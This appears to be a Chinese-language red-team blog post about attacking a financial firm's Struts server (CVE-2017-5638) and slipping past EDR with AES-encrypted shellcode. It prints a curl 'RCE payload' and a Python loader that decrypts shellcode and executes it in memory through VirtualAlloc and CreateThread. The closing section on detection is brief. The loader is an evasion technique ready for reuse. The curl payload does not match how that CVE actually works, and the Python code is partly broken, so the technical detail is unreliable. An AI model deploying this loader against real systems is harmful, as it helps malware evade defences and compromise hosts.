0x01 渗透故事的开始
在某次红队演练中,我受命渗透一家专注于金融业务的知名互联网公司。他们拥有严格的安全防护措施,包括先进的EDR系统和专用的网络流量监控。我决定从基础开始,探讨如何绕过这些防护,获取目标系统的控制权。经过详细的情报收集,我锁定了一台存在老旧漏洞的Web服务器作为初始突破点。

在这次行动中,Shellcode加密免杀技术成为了我的秘密武器。为了顺利植入恶意代码,我设计了一种加密的Shellcode载荷,绕过EDR的检测,打开了一道进入目标网络的隐秘之门。
流量捕获实战
信息收集与环境分析
我的目标是一台运行在DMZ区域的Web服务器,它承担着对外提供API服务的任务。初步的扫描显示,这台服务器上运行着一个旧版本的Apache Struts,存在多个已知漏洞。为了确保攻击的隐蔽性,我选择了CVE-2017-5638作为攻击入口,因为它允许我们在目标服务器上执行任意命令。
环境搭建

为了模拟真实的攻击场景,我在本地搭建了一台虚拟机,安装了与目标相同版本的Apache Struts,并配置了基本的防护措施。这样一来,我可以测试Shellcode载荷的免杀效果。
初步攻击尝试
首先,我构造了一个简单的RCE(远程命令执行)Payload,通过HTTP请求发送到目标服务器。这个Payload的任务是执行一个无害命令,验证我们是否具备执行权限。
<pre><code class="language-bash">curl -v -H "Content-Type: application/xml" -X POST --data "<?xml version=\"1.0\" ?><map><entry><string>javax.servlet.error.request_uri</string><string>/struts2-blank/example/HelloWorld.action</string></entry><entry><string>javax.servlet.error.status_code</string><string>200</string></entry><entry><string>javax.servlet.error.message</string><string>blah</string></entry><entry><string>javax.servlet.error.exception</string><string>blah</string></entry><entry><string>javax.servlet.error.servlet_name</string><string>org.apache.struts2.dispatcher.ServletDispatcher</string></entry><entry><string>com.opensymphony.xwork2.dispatcher.HttpServletRequest.request_uri</string><string>struts2-blank/example/HelloWorld.action</string></entry><entry><string>com.opensymphony.xwork2.dispatcher.HttpServletRequest.message</string><string>blah</string></entry><entry><string>com.opensymphony.xwork2.dispatcher.HttpServletRequest.status_code</string><string>200</string></entry><entry><string>com.opensymphony.xwork2.dispatcher.HttpServletRequest.exception</string><string>blah</string></entry><entry><string>com.opensymphony.xwork2.dispatcher.HttpServletRequest.servlet_name</string><string>org.apache.struts2.dispatcher.ServletDispatcher</string></entry></map>" http://target.com/struts2-blank/example/HelloWorld.action</code></pre>
Payload构造的艺术
Shellcode的武器化
这次攻击的核心在于构造一个可以绕过EDR检测的Shellcode。为了实现这一点,我选择了使用Python脚本来生成并加密Shellcode。加密的目的是将Shellcode隐藏在正常的流量中,同时确保它在目标系统内存中解密执行。
Shellcode加密与加载技术

加密Shellcode:我们使用AES加密算法对Shellcode进行加密。AES是一种对称加密算法,具有高效的加密性能和较强的抗攻击能力。
加载与执行:为了执行加密后的Shellcode,我们设计了一段解密与执行的加载器。加载器会在内存中解密Shellcode并执行它。
<pre><code class="language-python">from Crypto.Cipher import AES import ctypes import base64
key = b'Sixteen byte key' cipher = AES.new(key, AES.MODE_EAX)
shellcode = b"\x90\x90\x90..." ciphertext, tag = cipher.encrypt_and_digest(shellcode)
在目标机器上执行的解密与加载代码
def execute_encrypted_shellcode(ciphertext, key): cipher = AES.new(key, AES.MODE_EAX) shellcode = cipher.decrypt(ciphertext) ptr = ctypes.windll.kernel32.VirtualAlloc(None, len(shellcode), 0x3000, 0x40) ctypes.windll.kernel32.RtlMoveMemory(ptr, shellcode, len(shellcode)) ht = ctypes.windll.kernel32.CreateThread(None, 0, ptr, None, 0, None) ctypes.windll.kernel32.WaitForSingleObject(ht, -1)
execute_encrypted_shellcode(ciphertext, key)</code></pre>
神秘载荷的隐秘搭载
绕过EDR的技巧
为了有效绕过目标系统中的EDR,我们采取了以下策略:
- 流量伪装:通过伪装成常规的HTTP流量,将加密的Shellcode载入到目标系统中。
- 内存加载:直接在内存中解密与执行Shellcode,避免将任何可疑文件写入磁盘。
- 多层混淆:对Shellcode进行多层次的加密与混淆,增加EDR检测的难度。
攻击效果验证
在模拟环境中执行了我们构造的Payload,成功绕过了EDR的检测,并在目标系统内存中执行了加密的Shellcode,完成了初步的渗透。
检测与防御视角

后门的识别与检测
为了对抗这种类型的攻击,防御者需要注重以下几点:
- 流量分析:通过深入的流量分析,识别伪装的恶意载荷。
- 内存监控:重点监控系统内存中的可疑活动,及时发现并阻止异常的内存操作。
- 文件完整性检查:对关键系统文件进行实时完整性检查,防止内存加载恶意代码。
提升防御能力
企业可以通过加强EDR的智能分析能力,结合机器学习技术提高对异常行为的检测能力。同时,通过定期的安全演练和模拟攻击,提升整体的防御水平。
个人经验分享
在这次行动中,我深刻体会到了Shellcode加密免杀技术的威力。通过实际的攻击演练,我不仅成功突破了目标系统的防线,还对隐蔽攻击技术有了更深刻的理解。作为安全研究人员,保持对攻击技术的敏感和不断学习,是我们应对未来安全挑战的关键所在。
这篇文章仅供经过授权的安全测试人员学习使用,务必在合法合规的前提下进行安全研究。希望这次的经验分享能为你的安全研究工作提供一些借鉴和启发。